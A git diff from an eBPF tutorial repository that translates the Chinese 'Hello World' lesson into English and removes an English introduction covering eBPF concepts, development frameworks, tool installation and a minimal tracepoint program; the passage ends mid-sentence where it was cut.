开发工具 + +- **BCC**:一个基于 Python 的工具链,简化了 eBPF 程序的编写、编译和加载。它提供了许多预构建的追踪工具,但在依赖和兼容性方面存在一些限制。 +- **eBPF Go 库**:一个 Go 库,解耦了获取 eBPF 字节码的过程与加载和管理 eBPF 程序的过程。 +- **libbpf-bootstrap**:基于 `libbpf` 的现代脚手架,提供了高效的工作流用于编写 eBPF 程序,提供简单的一次性编译过程以生成可重用的字节码。 +- **eunomia-bpf**:一个用于编写仅包含内核空间代码的 eBPF 程序的工具链。它通过动态加载 eBPF 程序简化了 eBPF 程序的开发。 + +这些工具有助于减少开发 eBPF 程序的复杂性,使开发者更容易优化系统性能、安全性和可观测性。 + +## 学习 eBPF 开发的一些技巧 + +本文不会提供更详细的 eBPF 原理介绍,但以下是一个学习计划和参考资料,可能对您有帮助: + +### eBPF 简介(5-7 小时) + +- 使用 Google 或其他搜索引擎搜索:eBPF +- 询问类似 ChatGPT 的工具:什么是 eBPF? + +推荐: + +- 阅读 eBPF 介绍: (30 分钟) +- 简要了解 eBPF 内核相关文档: (了解技术细节的查询来源,30 分钟) + +回答三个问题: + +1. 了解 eBPF 是什么?我们为什么需要它?难道不能使用内核模块吗? +2. 它有哪些功能?它在 Linux 内核中能做什么?eBPF 程序和助手函数有哪些类型(不需要全部了解,但需要知道在哪里查找)? +3. 它能用于哪些场景?例如,可以在哪些情况下使用?网络、安全、可观测性? + +### 理解如何开发 eBPF 程序(10-15 小时) + +了解并尝试 eBPF 开发框架: + +- bpftrace 教程: (尝试,1 小时) +- 使用 BCC 开发各种工具的示例: (运行,3-4 小时) +- libbpf 的一些示例: (运行任何有趣的示例并阅读源代码,2 小时) +- 教程: (阅读第 1-10 部分,3-4 小时) + +其他开发框架:Go 或 Rust 语言,请自行搜索和尝试(0-2 小时) + +如果有问题或想了解的内容,无论是否与本项目相关,都可以在该项目的讨论区开始讨论。 + +回答一些问题并尝试一些实验(2-5 小时): + +1. 如何开发最简单的 eBPF 程序? +2. 如何使用 eBPF 追踪内核功能或函数?有很多方法,提供相应的代码示例; +3. 用户模式和内核模式之间的通信解决方案有哪些?如何将信息从用户模式发送到内核模式?如何将信息从内核模式传递到用户模式?提供代码示例; +4. 编写您自己的 eBPF 程序以实现某个功能; +5. 在 eBPF 程序的整个生命周期中,用户模式和内核模式分别做了什么? + +## 参考资料 + +- eBPF 介绍: +- BPF 编译器集合(BCC): +- eunomia-bpf: + +您还可以访问我们的教程代码仓库 或网站 获取更多示例和完整的教程源代码。所有内容均为开源。我们将继续分享更多关于 eBPF 开发实践的内容,帮助您更好地理解和掌握 eBPF 技术。 + +## 推荐书籍 + +想要更系统、深入地学习 eBPF 技术?推荐《深入理解 eBPF 与可观测性》——业内首本系统性穿透 Linux 内核观测技术指南。本书由龙蜥社区多位资深专家联袂打造,深入剖析 eBPF 底层原理和开发框架,结合网络、内存、I/O、调度等六大领域,提供丰富的生产级实践代码。 + +![书籍推荐](https://github.com/eunomia-bpf/bpf-developer-tutorial/raw/main/src/third_party/book-picture.png) + +欢迎关注我们的微信公众号,获取更多 eBPF 技术文章和教程更新! + +![微信公众号](https://github.com/eunomia-bpf/bpf-developer-tutorial/raw/main/src/third_party/wechat-qrcode.png) \ No newline at end of file diff --git a/src/0-introduce/README_en.md b/src/0-introduce/README_en.md deleted file mode 100644 index 35b9f8e5..00000000 --- a/src/0-introduce/README_en.md +++ /dev/null @@ -1,149 +0,0 @@ -# eBPF Tutorial by Example 0: Introduction to Core Concepts and Tools - -## Introduction to eBPF: Secure and Efficient Kernel Extension - -eBPF is a revolutionary technology that originated in the Linux kernel and allows sandbox programs to run in the kernel of an operating system. It is used to securely and efficiently extend the functionality of the kernel without the need to modify the kernel's source code or load kernel modules. By allowing the execution of sandbox programs in the operating system, eBPF enables application developers to dynamically add additional functionality to the operating system at runtime. The operating system then ensures security and execution efficiency, similar to performing native compilation with the help of a Just-In-Time (JIT) compiler and verification engine. eBPF programs are portable between kernel versions and can be automatically updated, avoiding workload interruptions and node restarts. - -Today, eBPF is widely used in various scenarios: in modern data centers and cloud-native environments, it provides high-performance network packet processing and load balancing; it achieves observability of various fine-grained metrics with very low resource overhead, helping application developers trace applications and provide insights for performance troubleshooting; it ensures secure execution of application and container runtimes, and more. The possibilities are endless, and the innovation unleashed by eBPF in the operating system kernel has only just begun [3]. - -### The Future of eBPF: Kernel's JavaScript Programmable Interface - -For browsers, the introduction of JavaScript brought programmability and initiated a tremendous revolution, transforming browsers into almost independent operating systems. Now let's return to eBPF: in order to understand the programmability impact of eBPF on the Linux kernel, it is helpful to have a high-level understanding of the structure of the Linux kernel and how it interacts with applications and hardware [4]. - -![kernel-arch](kernel-arch.png) - -The main purpose of the Linux kernel is to abstract hardware or virtual hardware and provide a consistent API (system calls) that allows applications to run and share resources. To achieve this goal, we maintain a series of subsystems and layers to distribute these responsibilities [5]. Each subsystem typically allows some level of configuration to cater to different user requirements. If the desired behavior cannot be achieved through configuration, there are two options: either modify the kernel source code and convince the Linux kernel community that the change is necessary (waiting for several years for the new kernel version to become a commodity), or write a kernel module and regularly fix it because each kernel version may break it. In practice, neither of the two solutions is commonly used: the former is too costly, and the latter lacks portability. - -With eBPF, there is a new option to reprogram the behavior of the Linux kernel without modifying the kernel's source code or loading kernel modules, while ensuring a certain degree of behavioral consistency, compatibility, and security across different kernel versions [6]. To achieve this, eBPF programs also need a corresponding API that allows the execution and sharing of resources for user-defined applications. In other words, in a sense, the eBPF virtual machine also provides a mechanism similar to system calls. With the help of the communication mechanism between eBPF and user space, both the Wasm virtual machine and user space applications can have full access to this set of "system calls." On the one hand, it can programmatically extend the capabilities of traditional system calls, and on the other hand, it can achieve more efficient programmable IO processing in many layers such as networking and file systems. - -![new-os](new-os-model.png) - -As shown in the above figure, the Linux kernel of today is evolving towards a new kernel model: user-defined applications can run in both kernel space and user space, with user space accessing system resources through traditional system calls and kernel space interacting with various parts of the system through BPF Helper Calls. As of early 2023, there are already more than 220 helper system interfaces in the eBPF virtual machine in the kernel, covering a wide range of application scenarios.## Note -It is worth noting that BPF Helper Call and system calls are not competitive. Their programming models and performance advantages are completely different and they do not completely replace each other. For the Wasm and Wasi related ecosystems, the situation is similar. The specially designed wasi interface needs to go through a long standardization process. However, it may provide better performance and portability guarantees for user-mode applications in specific scenarios. On the other hand, eBPF can provide a fast and flexible solution for extending system interfaces, while ensuring sandbox nature and portability. - -Currently, eBPF is still in the early stages. However, with the help of the kernel interfaces provided by eBPF and the ability to interact with user space, applications in the Wasm virtual machine can almost access the data and return values of any kernel or user mode function call (kprobe, uprobe...). It can collect and understand all system calls at a low cost and obtain packet-level data and socket-level data for all network operations (tracepoint, socket...). It can also add additional protocol analyzers and easily program any forwarding logic in the network packet processing solution (XDP, TC...), without leaving the packet processing environment of the Linux kernel. - -Moreover, eBPF has the ability to write data to any address of a user space process (bpf_probe_write_user[7]), partially modify the return value of a kernel function (bpf_override_return[8]), and even directly execute certain system calls in kernel mode[9]. Fortunately, eBPF performs strict security checks on the bytecode before loading it into the kernel to ensure that there are no operations such as memory out-of-bounds. Moreover, many features that may expand the attack surface and pose security risks need to be explicitly enabled during kernel compilation. Before loading the bytecode into the kernel, the Wasm virtual machine can also choose to enable or disable certain eBPF features to ensure the security of the sandbox. - -In addition to the kernel mode eBPF runtime, eBPF can also be extended to user space, for example, [bpftime](https://github.com/eunomia-bpf/bpftime) to achieve higher performance user space tracing, performance analysis, plugins, etc. - -## 2. Some Tips on Learning eBPF Development - -This article will not provide a more detailed introduction to the principles of eBPF, but here is a learning plan and reference materials that may be of value: - -### Introduction to eBPF (5-7h) - -- Google or other search engines: eBPF -- Ask ChatGPT-like things: What is eBPF? - -Recommended: - -- Read the introduction to ebpf: (30min) -- Briefly understand the ebpf kernel-related documentation: (Know where to queries, 30min) -- Read the Chinese ebpf beginner's guide: (1h) -- There are a lot of reference materials: (2-3h) -- You can choose to flip through PPTs that interest you: (1-2h) - -Answer three questions: - -1. Understand what eBPF is? Why do we need it? Can't we use kernel modules? -2. What functions does it have? What can it do in the Linux kernel? What are the types of eBPF programs and helpers (not all of them need to be known, but need to know where to find them)? -3. What can it be used for? For example, in which scenarios can it be used? Networking, security, observability? - -### Understand how to develop eBPF programs (10-15h) - -Understand and try eBPF development frameworks: - -- bpftrace tutorial: (Try it,1h) -- Examples of developing various tools with BCC: (Run through, 3-4h) -- Some examples of libbpf: (Run any interesting one and read the source code, 2h) -- Tutorial based on libbpf and eunomia-bpf: (Read part 1-10, 3-4h) - -Other development frameworks: Go or Rust language, please search and try on your own (0-2h) - -Have questions or things you want to know, whether or not they are related to this project, you can start discussing in the discussions of this project. - -Answer some questions and try some experiments (2-5h): - -1. How to develop the simplest eBPF program? -2. How to trace a kernel feature or function with eBPF? There are many ways, provide corresponding code examples; -3. What are the solutions for communication between user mode and kernel mode? How to send information from user mode to kernel mode? How to pass information from kernel mode to user mode? Provide code examples; -4. Write your own eBPF program to implement a feature; -5. In the entire lifecycle of an eBPF program, what does it do in user mode and kernel mode?## 3. How to use eBPF programming - -Writing original eBPF programs is very tedious and difficult. To change this situation, llvm introduced in 2015 the ability to compile code written in high-level languages into eBPF bytecode, and the eBPF community wrapped primitive system calls such as `bpf()` and provided the `libbpf` library. These libraries include functions for loading bytecode into the kernel and other key functions. In the Linux source code package, there are numerous eBPF sample codes provided by Linux based on `libbpf`, located in the `samples/bpf/` directory. - -A typical `libbpf`-based eBPF program consists of two files: `*_kern.c` and `*_user.c`. The mounting points and processing functions in the kernel are written in `*_kern.c`, while the user code for injecting kernel code and performing various tasks in user space is written in `*_user.c`. For more detailed tutorials, refer to [this video](https://www.bilibili.com/video/BV1f54y1h74r?spm_id_from=333.999.0.0). However, due to the difficulty in understanding and the entry barrier, most eBPF program development at the current stage is based on tools such as: - -- BCC -- BPFtrace -- libbpf-bootstrap -- Go eBPF library - -And there are newer tools such as `eunomia-bpf`. - -## Writing eBPF programs - -eBPF programs consist of a kernel space part and a user space part. The kernel space part contains the actual logic of the program, while the user space part is responsible for loading and managing the kernel space part. With the eunomia-bpf development tool, only the kernel space part needs to be written. - -The code in the kernel space part needs to conform to the syntax and instruction set of eBPF. eBPF programs mainly consist of several functions, each with its own specific purpose. The available function types include: - -- kprobe: probe function, executed before or after a specified kernel function. -- tracepoint: tracepoint function, executed at a specified kernel tracepoint. -- raw_tracepoint: raw tracepoint function, executed at a specified kernel raw tracepoint. -- xdp: network data processing function, intercepting and processing network packets. -- perf_event: performance event function, used to handle kernel performance events. -- kretprobe: return probe function, executed when a specified kernel function returns. -- tracepoint_return: tracepoint return function, executed when a specified kernel tracepoint returns. -- raw_tracepoint_return: raw tracepoint return function, executed when a specified kernel raw tracepoint returns. - -### BCC - -BCC stands for BPF Compiler Collection. The project is a Python library that includes a complete toolchain for writing, compiling, and loading BPF programs, as well as tools for debugging and diagnosing performance issues. - -Since its release in 2015, BCC has been continuously improved by hundreds of contributors and now includes a large number of ready-to-use tracing tools. The [official project repository](https://github.com/iovisor/bcc/blob/master/docs/tutorial.md) provides a handy tutorial for users to quickly get started with BCC. - -Users can program in high-level languages such as Python and Lua on BCC. Compared to programming directly in C, these high-level languages are much more convenient. Users only need to design BPF programs in C, and the rest, including compilation, parsing, loading, etc., can be done by BCC. - -However, a drawback of using BCC is its compatibility. Each time an eBPF program based on BCC is executed, it needs to be compiled, and compiling requires users to configure related header files and corresponding implementations. In practical applications, as you may have experienced, dependency issues in compilation can be quite tricky. Therefore, in the development of this project, we have abandoned BCC and chosen the libbpf-bootstrap tool, which allows for one-time compilation and multiple runs. - -### eBPF Go library - -The eBPF Go library provides a general-purpose eBPF library that decouples the process of obtaining eBPF bytecode from the loading and management of eBPF programs, and implements similar CO- functionality as libbpf. eBPF programs are usually created by writing high-level languages and then compiled into eBPF bytecode using the clang/LLVM compiler. - -### libbpf - -`libbpf-bootstrap` is a BPF development scaffold based on the `libbpf` library, and its source code can be obtained from its [GitHub](https://github.com/libbpf/libbpf-bootstrap). - -`libbpf-bootstrap` combines years of practice from the BPF community and provides a modern and convenient workflow for developers, achieving the goal of one-time compilation and reuse. - -BPF programs based on `libbpf-bootstrap` have certain naming conventions for the source files. The file for generating kernel space bytecode ends with `.bpf.c`, and the file for loading bytecode in user space ends with `.c`, and the prefixes of these two files must be the same. - -Based on `libbpf-bootstrap`, BPF programs will compile `*.bpf.c` files into corresponding `.o` files, -and then generate the `skeleton` file based on this file, i.e. `*.skel.h`. This file will contain some data structures defined in the kernel space, -as well as the key functions used to load kernel space code. After the user-space code includes this file, it can call the corresponding loading function to load the bytecode into the kernel. Similarly, `libbpf-bootstrap` also has a comprehensive introduction tutorial that users can refer to [here](https://nakryiko.com/posts/libbpf-bootstrap/) for detailed introductory operations. - -### eunomia-bpf - -Developing, building, and distributing eBPF has always been a high-threshold task. The use of tools such as BCC and bpftrace has high development efficiency and good portability. However, when it comes to distribution and deployment, it requires the installation of LLVM, Clang, and other compilation environments, and the compilation process needs to be executed locally or remotely every time, resulting in substantial resource consumption. On the other hand, using the native CO-RE libbpf requires writing a considerable amount of user-mode loading code to help properly load eBPF programs and obtain reported information from the kernel. At the same time, there is no good solution for distributing and managing eBPF programs. - -[eunomia-bpf](https://github.com/eunomia-bpf/eunomia-bpf) is an open-source eBPF dynamic loading runtime and development toolchain designed to simplify the development, building, distribution, and execution of eBPF programs. It is based on the libbpf CO-RE lightweight development framework. - -With eunomia-bpf, you can: - -- When writing eBPF programs or tools, only write kernel space code, automatically retrieve kernel space export information, and dynamically load it as a module. -- Use WASM for user space interactive program development to control the loading and execution of the entire eBPF program, as well as the processing of related data inside the WASM virtual machine. -- eunomia-bpf can package pre-compiled eBPF programs into universal JSON or WASM modules for distribution across architectures and kernel versions. They can be dynamically loaded and run without the need for recompilation. - -eunomia-bpf consists of a compilation toolchain and a runtime library. Compared with traditional frameworks such as BCC and native libbpf, it greatly simplifies the development process of eBPF programs. In most cases, only writing kernel space code is required to easily build, package, and publish complete eBPF applications. At the same time, kernel space eBPF code ensures 100% compatibility with mainstream development frameworks such as libbpf, libbpfgo, libbpf-rs, etc. When there is a need to write user-space code, it can also be developed in multiple languages with the help of WebAssembly. Compared with script tools such as bpftrace, eunomia-bpf retains similar convenience, while not only limited to tracing but also applicable to more scenarios, such as networking, security, etc. - -> - eunomia-bpf project Github address: -> - gitee mirror: - -## References - -- eBPF Introduction: -- BPF Compiler Collection (BCC): -- eunomia-bpf: - -You can also visit our tutorial code repository or website for more examples and complete tutorial source code. All content is open source. We will continue to share more content about eBPF development practices to help you better understand and master eBPF technology.". diff --git a/src/1-helloworld/.config b/src/1-helloworld/.config new file mode 100644 index 00000000..2785adf1 --- /dev/null +++ b/src/1-helloworld/.config @@ -0,0 +1 @@ +level=Basic diff --git a/src/1-helloworld/README.md b/src/1-helloworld/README.md index 00fe1c77..e4ab331a 100644 --- a/src/1-helloworld/README.md +++ b/src/1-helloworld/README.md @@ -1,47 +1,47 @@ -# eBPF 入门开发实践教程一:Hello World,基本框架和开发流程 +# eBPF Tutorial by Example 1: Hello World, Framework and Development -在本篇博客中,我们将深入探讨eBPF(Extended Berkeley Packet Filter)的基本框架和开发流程。eBPF是一种在Linux内核上运行的强大网络和性能分析工具,它为开发者提供了在内核运行时动态加载、更新和运行用户定义代码的能力。这使得开发者可以实现高效、安全的内核级别的网络监控、性能分析和故障排查等功能。 +In this blog post, we will delve into the basic framework and development process of eBPF (Extended Berkeley Packet Filter). eBPF is a powerful network and performance analysis tool that runs on the Linux kernel, providing developers with the ability to dynamically load, update, and run user-defined code at kernel runtime. This enables developers to implement efficient, secure kernel-level network monitoring, performance analysis, and troubleshooting functionalities. -本文是eBPF入门开发实践教程的第二篇,我们将重点关注如何编写一个简单的eBPF程序,并通过实际例子演示整个开发流程。在阅读本教程之前,建议您先学习第一篇教程,以便对eBPF的基本概念有个大致的了解。 +This article is the second part of the eBPF Tutorial by Example, where we will focus on how to write a simple eBPF program and demonstrate the entire development process through practical examples. Before reading this tutorial, it is recommended that you first learn the concepts of eBPF by studying the first tutorial. -在开发eBPF程序时,有多种开发框架可供选择,如 BCC(BPF Compiler Collection)libbpf、cilium/ebpf、eunomia-bpf 等。虽然不同工具的特点各异,但它们的基本开发流程大致相同。在接下来的内容中,我们将深入了解这些流程,并以 Hello World 程序为例,带领读者逐步掌握eBPF开发的基本技巧。 +When developing eBPF programs, there are multiple development frameworks to choose from, such as BCC (BPF Compiler Collection) libbpf, cilium/ebpf, eunomia-bpf, etc. Although these tools have different characteristics, their basic development process is similar. In the following content, we will delve into these processes and use the Hello World program as an example to guide readers in mastering the basic skills of eBPF development. -本教程将帮助您了解eBPF程序的基本结构、编译和加载过程、用户空间与内核空间的交互方式以及调试与优化技巧。通过学习本教程,您将掌握eBPF开发的基本知识,并为后续进一步学习和实践奠定坚实的基础。 +This tutorial will help you understand the basic structure of eBPF programs, the compilation and loading process, the interaction between user space and kernel space, as well as debugging and optimization techniques. By studying this tutorial, you will master the basic knowledge of eBPF development and lay a solid foundation for further learning and practice. -## eBPF开发环境准备与基本开发流程 +## Preparation of eBPF Development Environment and Basic Development Process -在开始编写eBPF程序之前,我们需要准备一个合适的开发环境,并了解eBPF程序的基本开发流程。本部分将详细介绍这些内容。 +Before starting to write eBPF programs, we need to prepare a suitable development environment and understand the basic development process of eBPF programs. This section will provide a detailed introduction to these subjects. -### 安装必要的软件和工具 +### Installing the necessary software and tools -要开发eBPF程序,您需要安装以下软件和工具: +To develop eBPF programs, you need to install the following software and tools: -- Linux 内核:由于eBPF是内核技术,因此您需要具备较新版本的Linux内核(至少 4.8 及以上版本,建议至少在 5.15 以上),以支持eBPF功能。 - - 建议使用最新的 Ubuntu 版本(例如 Ubuntu 23.10)以获得最佳的学习体验,较旧的内核 eBPF 功能支持可能相对不全。 -- LLVM 和 Clang:这些工具用于编译eBPF程序。安装最新版本的LLVM和Clang可以确保您获得最佳的eBPF支持。 +- Linux kernel: Since eBPF is a kernel technology, you need to have a relatively new version of the Linux kernel (minimum version 4.8 and above, suggested version is 5.15+ or 6.2+) to support eBPF functionality. + - If possible, install a new version of Ubuntu (e.g. 23.10) would be better. +- LLVM and Clang: These tools are used to compile eBPF programs. Installing the latest version of LLVM and Clang ensures that you get the best eBPF support. -eBPF 程序主要由两部分构成:内核态部分和用户态部分。内核态部分包含 eBPF 程序的实际逻辑,用户态部分负责加载、运行和监控内核态程序。 +An eBPF program consists of two main parts: the kernel space part and the user space part. The kernel space part contains the actual logic of the eBPF program, while the user space part is responsible for loading, running, and monitoring the kernel space program. -当您选择了合适的开发框架后,如BCC(BPF Compiler Collection)、libbpf、cilium/ebpf或eunomia-bpf等,您可以开始进行用户态和内核态程序的开发。以BCC工具为例,我们将介绍eBPF程序的基本开发流程: +Once you have chosen a suitable development framework, such as BCC (BPF Compiler Collection), libbpf, cilium/ebpf, or eunomia-bpf, you can begin developing the user space and kernel space programs. Taking the BCC tool as an example, we will introduce the basic development process of eBPF programs: -1. 安装BCC工具:根据您的Linux发行版,按照BCC官方文档的指南安装BCC工具和相关依赖。 -2. 编写eBPF程序(C语言):使用C语言编写一个简单的eBPF程序,例如Hello World程序。该程序可以在内核空间执行并完成特定任务,如统计网络数据包数量。 -3. 编写用户态程序(Python或C等):使用Python、C等语言编写用户态程序,用于加载、运行eBPF程序以及与之交互。在这个程序中,您需要使用BCC提供的API来加载和操作内核态的eBPF程序。 -4. 编译eBPF程序:使用BCC工具,将C语言编写的eBPF程序编译成内核可以执行的字节码。BCC会在运行时动态从源码编译eBPF程序。 -5. 加载并运行eBPF程序:在用户态程序中,使用BCC提供的API加载编译好的eBPF程序到内核空间,然后运行该程序。 -6. 与eBPF程序交互:用户态程序通过BCC提供的API与eBPF程序交互,实现数据收集、分析和展示等功能。例如,您可以使用BCC API读取eBPF程序中的map数据,以获取网络数据包统计信息。 -7. 卸载eBPF程序:当不再需要eBPF程序时,用户态程序应使用BCC API将其从内核空间卸载。 -8. 调试与优化:使用 bpftool 等工具进行eBPF程序的调试和优化,提高程序性能和稳定性。 +1. Installing the BCC tool: Depending on your Linux distribution, follow the guidelines in the BCC documentation to install the BCC tool and its dependencies. +2. Writing an eBPF program (C language): Use the C language to write a simple eBPF program, such as the Hello World program. This program can be executed in kernel space and perform specific tasks, such as counting network packets. +3. Writing a user space program (Python or C, etc.): Use languages like Python or C to write a user space program that is responsible for loading, running, and interacting with the eBPF program. In this program, you need to use the API provided by BCC to load and manipulate the kernel space eBPF program. +4. Compiling the eBPF program: Use the BCC tool to compile the eBPF program written in C language into bytecode that can be executed by the kernel. BCC dynamically compiles the eBPF program from source code at runtime. +5. Loading and running the eBPF program: In the user space program, use the API provided by BCC to load the compiled eBPF program into kernel space and then run it. +6. Interacting with the eBPF program: The user space program interacts with the eBPF program through the API provided by BCC, implementing data collection, analysis, and display functions. For example, you can use the BCC API to read map data in the eBPF program to obtain network packet statistics. +7. Unloading the eBPF program: When the eBPF program is no longer needed, the user space program should unload it from the kernel space using the BCC API. +8. Debugging and optimization: Use tools like bpftool to debug and optimize eBPF programs, improving program performance and stability. -通过以上流程,您可以使用BCC工具开发、编译、运行和调试eBPF程序。请注意,其他框架(如libbpf、cilium/ebpf和eunomia-bpf)的开发流程大致相似但略有不同,因此在选择框架时,请参考相应的官方文档和示例。 +Through the above process, you can develop, compile, run, and debug eBPF programs using the BCC tool. Note that the development process of other frameworks, such as libbpf, cilium/ebpf, and eunomia-bpf, is similar but slightly different. Therefore, when choosing a framework, please refer to the respective official documentation and examples. -通过这个过程,你可以开发出一个能够在内核中运行的 eBPF 程序。eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。它基于 libbpf 的 CO-RE 轻量级开发框架,支持通过用户态 WASM 虚拟机控制 eBPF 程序的加载和执行,并将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块进行分发。我们会使用 eunomia-bpf 进行演示。 +We use eunomia-bpf to compile and run this example. You can install it from . -## 下载安装 eunomia-bpf 开发工具 +## Download and Install eunomia-bpf Development Tools -可以通过以下步骤下载和安装 eunomia-bpf: +You can download and install eunomia-bpf using the following steps: -下载 ecli 工具,用于运行 eBPF 程序: +Download the ecli tool for running eBPF programs: ```console $ wget https://aka.pw/bpf-ecli -O ecli && chmod +x ./ecli @@ -49,21 +49,22 @@ $ ./ecli -h Usage: ecli [--help] [--version] [--json] [--no-cache] url-and-args ``` -下载编译器工具链,用于将 eBPF 内核代码编译为 config 文件或 WASM 模块: +Download the compiler toolchain for compiling eBPF kernel code into config files or WASM modules: ```console $ wget https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc && chmod +x ./ecc $ ./ecc -h eunomia-bpf compiler Usage: ecc [OPTIONS] [EXPORT_EVENT_HEADER] +.... ``` -注:假如在 aarch64 平台上,请从 release 下载 [ecc-aarch64](https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc-aarch64) 和 [ecli-aarch64](https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecli-aarch64). +Note: If you are on the aarch64 platform, please use the [ecc-aarch64](https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc-aarch64) and [ecli-aarch64](https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecli-aarch64). -也可以使用 docker 镜像进行编译: +You can also compile using the docker image: ```console -$ docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest # 使用 docker 进行编译。`pwd` 应该包含 *.bpf.c 文件和 *.h 文件。 +$ docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest # Compile using docker. `pwd` should contain *.bpf.c files and *.h files. export PATH=PATH:~/.eunomia/bin Compiling bpf object... Packing ebpf object and config into /src/package.json... @@ -71,7 +72,7 @@ Packing ebpf object and config into /src/package.json... ## Hello World - minimal eBPF program -我们会先从一个简单的 eBPF 程序开始,它会在内核中打印一条消息。我们会使用 eunomia-bpf 的编译器工具链将其编译为 bpf 字节码文件,然后使用 ecli 工具加载并运行该程序。作为示例,我们可以暂时省略用户态程序的部分。 +We will start with a simple eBPF program that prints a message in the kernel. We will use the eunomia-bpf compiler toolchain to compile it into a BPF bytecode file, and then load and run the program using the ecli tool. For the sake of the example, we can temporarily disregard the user space program. ```c /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ @@ -97,19 +98,23 @@ int handle_tp(void *ctx) } ``` -这段程序通过定义一个 handle_tp 函数并使用 SEC 宏把它附加到 sys_enter_write tracepoint(即在进入 write 系统调用时执行)。该函数通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 write 系统调用的进程 ID,并在内核日志中打印出来。 +This program defines a handle_tp function and attaches it to the sys_enter_write tracepoint using the SEC macro. This means it gets executed every time the write system call is entered. The function retrieves the process ID of the current process and prints it to the kernel log using `bpf_printk`. -- `bpf_trace_printk()`: 一种将信息输出到trace_pipe(/sys/kernel/debug/tracing/trace_pipe)简单机制。 在一些简单用例中这样使用没有问题, but它也有一些限制:最多3 参数; 第一个参数必须是%s(即字符串);同时trace_pipe在内核中全局共享,其他并行使用trace_pipe的程序有可能会将 trace_pipe 的输出扰乱。 一个更好的方式是通过 BPF_PERF_OUTPUT(), 稍后将会讲到。 -- `void *ctx`:ctx本来是具体类型的参数, 但是由于我们这里没有使用这个参数,因此就将其写成void *类型。 -- `return 0`;:必须这样,返回0 (如果要知道why, 参考 #139 )。 +The `SEC("tp/syscalls/sys_enter_write")` macro tells the eBPF loader where to attach this function. The format is `tp` for tracepoint, followed by the subsystem (`syscalls`), and the specific event name (`sys_enter_write`). You can find available tracepoints by running `sudo ls /sys/kernel/debug/tracing/events/syscalls/` on your system. -要编译和运行这段程序,可以使用 ecc 工具和 ecli 命令。首先在 Ubuntu/Debian 上,执行以下命令: +The `BPF_NO_GLOBAL_DATA` macro at the top is for compatibility with older kernels (before 5.2) that don't support global variables in eBPF. If you're running a modern kernel (5.15+), this isn't strictly necessary but doesn't hurt to include for portability. + +The `bpf_printk()` function is your friend for debugging. It outputs to `/sys/kernel/debug/tracing/trace_pipe`, which is a simple way to see what your eBPF program is doing. However, it has some limitations you should know about. It only accepts up to 3 parameters, the trace_pipe is shared globally across all eBPF programs, and it can impact performance on high-frequency events. For production use, you'll want to use ring buffers or perf event arrays, which we'll cover in later tutorials. + +The `ctx` parameter contains tracepoint-specific data, but since we don't need it for this simple example, we just declare it as `void *`. In more advanced programs, you would cast this to access the tracepoint's arguments. Finally, eBPF programs must return an integer - returning 0 is standard practice for tracepoints. + +To compile and run this program, you can use the ecc tool and ecli command. First, on Ubuntu/Debian, execute the following command: ```shell sudo apt install clang llvm ``` -使用 ecc 编译程序: +Compile the program using ecc: ```console $ ./ecc minimal.bpf.c @@ -117,20 +122,20 @@ Compiling bpf object... Packing ebpf object and config into package.json... ``` -或使用 docker 镜像进行编译: +Or compile using a docker image: ```shell docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest ``` -然后使用 ecli 运行编译后的程序: +Then run the compiled program using ecli: ```console $ sudo ./ecli run package.json -Runing eBPF program... +Running eBPF program... ``` -运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出: +After running this program, you can view the output of the eBPF program by checking the /sys/kernel/debug/tracing/trace_pipe file: ```console $ sudo cat /sys/kernel/debug/tracing/trace_pipe | grep "BPF triggered sys_enter_write" @@ -138,60 +143,58 @@ $ sudo cat /sys/kernel/debug/tracing/trace_pipe | grep "BPF triggered sys_enter_ <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. ``` -按 Ctrl+C 停止 ecli 进程之后,可以看到对应的输出也停止。 +Once you stop the ecli process by pressing Ctrl+C, the corresponding output will also stop. -注意:如果正在使用的 Linux 发行版(例如 Ubuntu )默认情况下没有启用跟踪子系统可能看不到任何输出,使用以下指令打开这个功能: +If you don't see any output, the tracing subsystem might not be enabled on your system. This is common on some Linux distributions. You can enable it by running: ```console -$ sudo su -# echo 1 > /sys/kernel/debug/tracing/tracing_on +$ sudo sh -c 'echo 1 > /sys/kernel/debug/tracing/tracing_on' ``` -## eBPF 程序的基本框架 +If you're still not seeing output, make sure the program is actually loaded and running (you should see "Running eBPF program..." in the ecli terminal). Try triggering some write syscalls manually by running `echo "test" > /tmp/test.txt` in another terminal. You can also check if your eBPF program is loaded by running `sudo bpftool prog list`. -如上所述, eBPF 程序的基本框架包括: +## Basic Framework of eBPF Program -- 包含头文件:需要包含 等头文件。 -- 定义许可证:需要定义许可证,通常使用 "Dual BSD/GPL"。 -- 定义 BPF 函数:需要定义一个 BPF 函数,例如其名称为 handle_tp,其参数为 void *ctx,返回值为 int。通常用 C 语言编写。 -- 使用 BPF 助手函数:在例如 BPF 函数中,可以使用 BPF 助手函数 bpf_get_current_pid_tgid() 和 bpf_printk()。 -- 返回值 +As mentioned above, the basic framework of an eBPF program includes: -## tracepoints +- Including header files: You need to include and header files, among others. +- Defining a license: You need to define a license, typically using "Dual BSD/GPL". +- Defining a BPF function: You need to define a BPF function, for example, named handle_tp, which takes void *ctx as a parameter and returns int. This is usually written in the C language. +- Using BPF helper functions: In the BPF function, you can use BPF helper functions such as bpf_get_current_pid_tgid() and bpf_printk(). +- Return value -跟踪点(tracepoints)是内核静态插桩技术,在技术上只是放置在内核源代码中的跟踪函数,实际上就是在源码中插入的一些带有控制条件的探测点,这些探测点允许事后再添加处理函数。比如在内核中,最常见的静态跟踪方法就是 printk,即输出日志。又比如:在系统调用、调度程序事件、文件系统操作和磁盘 I/O 的开始和结束时都有跟踪点。跟踪点于 2009 年在 Linux 